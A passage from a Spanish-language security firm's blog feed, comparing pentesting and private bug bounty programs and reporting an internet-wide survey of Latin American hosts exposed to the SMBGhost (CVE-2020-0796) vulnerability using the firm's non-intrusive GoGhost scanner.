  &lt;h3&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Pentest as a Service y Private Bug Bounty: soluciones adaptables y versátiles que permiten mejor adaptación y personalización en las metodologías de prueba de seguridad
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h3&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Pentest
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (pruebas de penetración) y
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Bug Bounty
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (recompensa por errores) tienen sus propias fortalezas y debilidades, especialmente en sus formas convencionales. El primero, tiene la ventaja de ser más confidencial y la capacidad de evaluar ámbitos que no son accesibles externamente; mientras que el segundo ofrece un grupo más grande de recursos humanos y un modelo de pago basado en resultados que las organizaciones encuentran atractivos.
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Sin embargo, estas distinciones no están rígidamente definidas. Existe una amplia gama de enfoques que se encuentran entre el
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           pentest
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           tradicional y los programas públicos de recompensas por errores. Estas variaciones permiten una mejor personalización en términos de presupuesto, confidencialidad, alcance y habilidades requeridas. 
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Consideramos específicamente los siguientes matices:
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Pentest as a service (pruebas de penetración como servicio):
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            este servicio no lo realice una consultora o un proveedor de servicios estándar, sino que el pentest (prueba de penetración) es realizado por una plataforma que involucra a su comunidad de investigadores y hackers éticos.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Private Bug Bounty (programas privados de recompensas por errores):
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            es un enfoque controlado y solo participan organizaciones que fueron invitadas. En este servicio, la organización establece el alcance, las reglas y las recompensas para el programa de bug bounty (recompensas por errores) tal es el caso de los servicios que brinda
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            DEEP SECURITY
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            y su comunidad de cazadores seleccionados. 
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Algunos ejemplos de las vulnerabilidades reportadas por el equipo de
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://www.deepsecurity.pe/" target="_blank"&gt;&#xD;
      
                      
                      
                      
           DEEP SECURITY
          
                    
                    
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           se presentan a continuación:
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Deep+Security+-+BUG+BOUNTY+-+NETFLIX.PNG" alt="Una captura de pantalla de un sitio web de Netflix que muestra una lista de personas."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Netflix - Responsible Vulnerability Disclosure
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           https://help.netflix.com/en/node/6657
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/BUG+BOUNTY+-+CISCO+-+DEEP+SECURITY.png" alt="Una captura de pantalla de una vulnerabilidad de omisión del límite de inicio de sesión "/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Cisco - Identity Services Engine Guest Portal Login Limit Bypass Vulnerability
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;a href="https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-20171115-ise.html"&gt;&#xD;
      
                      
                      
                      
           https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-20171115-ise.html
          
                    
                    
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Entre pentest o bug bounty, ¿qué enfoque es correcto para tu organización?
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Los enfoques de
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           pentest
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (pruebas de penetración) y
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           bug bounty
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           (recompensa por errores) tienen sus propias fortalezas y no son intrínsecamente superiores entre sí. De hecho, tratar de compararlos como opciones opuestas puede no ser significativo. En cambio, cada método tiene sus propias características específicas que lo hacen más adecuado en ciertas situaciones. Es importante considerar estas especificaciones y elegir el enfoque que mejor se alinee al contexto y los objetivos de la organización.
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           1.
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           Pentesting (prueba de penetración), es idóneo para:
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Evaluar la seguridad digital de un producto en un momento específico.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Realización de pruebas en objetivos que no son accesibles desde el exterior.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Cumplir con los requisitos de cumplimiento y obtener certificaciones de seguridad.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Realización de evaluaciones iniciales en alcances más nuevos para identificar y abordar vulnerabilidades importantes dentro de un presupuesto predeterminado, antes de pasar a un enfoque de recompensa por errores.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
                      
           2.	Bug bounty (recompensa por errores) es ideal para:
          
                    
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Probar un activo continuamente.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Identificar vulnerabilidades críticas en profundidad, más difíciles y lentas de encontrar.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Optimizar la investigación multiplicando habilidades y recursos humanos gracias a la comunidad de hackers éticos.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
                        
            Probar los perímetros maduros, por ejemplo, que han sido probados de antemano.
           
                      
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;</content:encoded>
      <enclosure url="https://irp.cdn-website.com/210ad002/dms3rep/multi/Bug+bounty+vs+Penetration+testing+-+1.jpg" length="65702" type="image/jpeg" />
      <pubDate>Tue, 08 Aug 2023 22:00:21 GMT</pubDate>
      <guid>https://www.deepsecurity.pe/bug-bounty-vs-penetration-testing</guid>
      <g-custom:tags type="string">SPAN</g-custom:tags>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/Bug+bounty+vs+Penetration+testing+-+1.jpg">
        <media:description>thumbnail</media:description>
      </media:content>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/Bug+bounty+vs+Penetration+testing+-+1.jpg">
        <media:description>main image</media:description>
      </media:content>
    </item>
    <item>
      <title>Análisis de SMBGhost en Latinoamérica</title>
      <link>https://www.deepsecurity.pe/analisis-de-smbghost-en-latinoamerica</link>
      <description>SMBGhost (CVE-2020-0796) es una vulnerabilidad de ejecución remota de código, no autenticada, en Microsoft Server Message Block 3.1.1 (SMBv3). La vulnerabilidad sólo requiere que el puerto 445 esté abierto, y un atacante podría conectarse y ejecutar comandos sin necesidad de tener usuario o contraseña.</description>
      <content:encoded>&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/banner-digital_linkedin.jpg" alt="Un mapa azul de América del Sur tiene un fondo azul oscuro."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Escaneando Latinoamérica con GoGhost
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           SMBGhost (CVE-2020-0796) es una vulnerabilidad de ejecución remota de código, no autenticada, en Microsoft Server Message Block 3.1.1 (SMBv3). La vulnerabilidad sólo requiere que el puerto 445 esté abierto, y un atacante podría conectarse y ejecutar comandos sin necesidad de tener usuario o contraseña.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Esta vulnerabilidad, debido al servicio en el que se encuentra Microsoft SMB tiene un enorme potencial de efecto tipo gusano. Esto quiere decir que, si se infecta una PC en una LAN (Local Area Network), puede replicar el ataque de forma local e infectar a todos los demás ordenadores de la red. Dicha vulnerabilidad explota una ejecución remota de comandos via SMB puerto 445 expuesto, igual a la usada por el ransomware WannaCry en 2017 que infectó en un solo día más de 140,000 PCs en todo el mundo.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           En DeepSecurity, entendemos la gravedad de este tipo de vulnerabilidades y queremos ayudar a fortalecer la ciberseguridad e infraestructura del mercado local y de países de la región. En ese sentido, dada la coyuntura y la exposición masiva de PCs y Servidores con Windows a Internet. Donde vimos el potencial de realizar herramientas de seguridad en lenguajes de programación de nueva generación como “Go”, lenguaje creado por Google y que originalmente fue diseñado para crear infraestructura y backend capaces de procesar un gran volumen de datos usando pocos recursos. El lenguaje está centrado netamente en el performance y empresas como CloudFlare y Facebook ya la están usando para optimizar su velocidad.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Decidimos crear 
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://github.com/deepsecurity-pe/GoGhost" target="_blank"&gt;&#xD;
      
                      
           GoGhost
          
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
            ,
           
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           herramienta con potencial para escanear segmentos completos de Internet, y que nos permitió realizar un escaneo de más de 125 millones de direcciones IP de Latinoamérica en busca de estadísticas sobre esta vulnerabilidad. 
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://github.com/deepsecurity-pe/GoGhost" target="_blank"&gt;&#xD;
      
                      
           GoGhost
          
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
            no realiza escaneos intrusivos, ni ejecución de pruebas de corrupción de memoria en los servidores Windows. 
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://github.com/deepsecurity-pe/GoGhost" target="_blank"&gt;&#xD;
      
                      
           GoGhost
          
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
            
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           realiza pruebas con paquetes SMB diseñados para encontrar servidores que soportan específicamente el algoritmo de compresión “LZNT1” en el protocolo emulando una petición maliciosa sin explotar la vulnerabilidad en sí.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Nuestro análisis se enfocó principalmente en hallar todos los servicios SMB (445/tcp) que tuviesen compresión y estuviesen expuestos a internet. Usando 
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://github.com/deepsecurity-pe/GoGhost" target="_blank"&gt;&#xD;
      
                      
           GoGhost
          
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           ,
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           validamos todas las direcciones IPv4 de latinoamérica registradas en LACNIC (lacnic.net), un total de aproximadamente
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           125 millones de direcciones.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/infografia_grafico-de-barras-1-1-768x760.jpg" alt="Un gráfico que muestra el porcentaje de servidores potencialmente vulnerables"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Colombia fue el país que mostró mayor porcentaje de servidores potencialmente vulnerables, un 17% del total de 1203 servidores SMB expuestos (tcp/open) a Internet. Este porcentaje representa más de 150 servidores, que corren el riesgo de ser expropiados por ciberdelincuentes para ser utilizados en minería de criptomonedas, ser infectados por ransomware o ser utilizado como parte de una enorme Botnet. Microsoft califica esta vulnerabilidad como crítica (CVE-2020-0796) y debería ser parchada cuanto antes. En Brasil, un país que cuenta con un porcentaje relativamente bajo, debido a su desarrollo tecnológico y desarrollo digital, expone más de 700 servidores Windows potencialmente vulnerables.
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/infografia_grafico-de-barras-2-1-768x766.jpg" alt="A graph showing cantidad de servidores potencialmente vulnerables"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           En Perú se encontró que el 7% de los servidores con SMB expuestos, resultan ser potencialmente vulnerables, resultado bastante cercano al promedio de 8% de la región. Fueron más de 100 servidores potencialmente vulnerables los encontrados, menor que los encontrados en el análisis de Windows SMB BlueKeep.
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/infografia_grafico-circular-2-1024x594.jpg" alt="Un gráfico circular que muestra el número de servidores en cada país."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;a href="https://github.com/deepsecurity-pe/GoGhost" target="_blank"&gt;&#xD;
      
                      
           GoGhost
          
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
            
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           es una herramienta programada 100% en Go, lo que permitió al equipo de investigadores de DeepSecurity realizar escaneos masivos confirmando
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           22,500 direcciones IP potencialmente vulnerables
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           a SMBGhost (CVE-2020-0796) en solo
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           2 segundos
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           .
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           El potencial de escaneo de esta herramienta nos revela el verdadero paradigma de Internet, todo está conectado y accesible desde cualquier IP. Se realizó un análisis comparativo entre Nmap y GoGhost para encontrar direcciones IP potencialmente vulnerables a SMBGhost (CVE-2020-0796) , los resultados se adjuntan a continuación:
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Usando el siguiente script de NMAP “smb2-capabilities_patched.nse” para validar la vulnerabilidad de SMBGhost (CVE-2020-0796) , se escanearon casi 25,000 direcciones IP de un segmento de Internet. El escaneo de NMAP demoró cerca de
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           650 segundos
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           en terminar vs GoGhost que tardó solo
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           2.5 segundos.
          
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/goghost-768x483.jpg" alt="Una captura de pantalla de un programa llamado goghost."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           MAP realizó el escaneo de 24,576 direcciones IP en 645.5 segundos, cabe indicar que se utilizó -T5 para tratar de dar la mayor velocidad soportada (insane – T5).
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/ggscre.jpg" alt="Una imagen borrosa de texto sobre un fondo negro"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
           Se contrastaron los resultados de ambas herramientas, donde se validó la misma cantidad de puertos 445/tcp abiertos usando la misma muestra 24,576 direcciones IP de Latinoamérica.
          
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/ggscre222.jpg" alt="Una imagen borrosa de la pantalla de una computadora con mucho texto."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;a href="https://github.com/deepsecurity-pe/GoGhost" target="_blank"&gt;&#xD;
      
                      
           GoGhost
          
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
            
          
                    &#xD;
    &lt;/span&gt;&#xD;
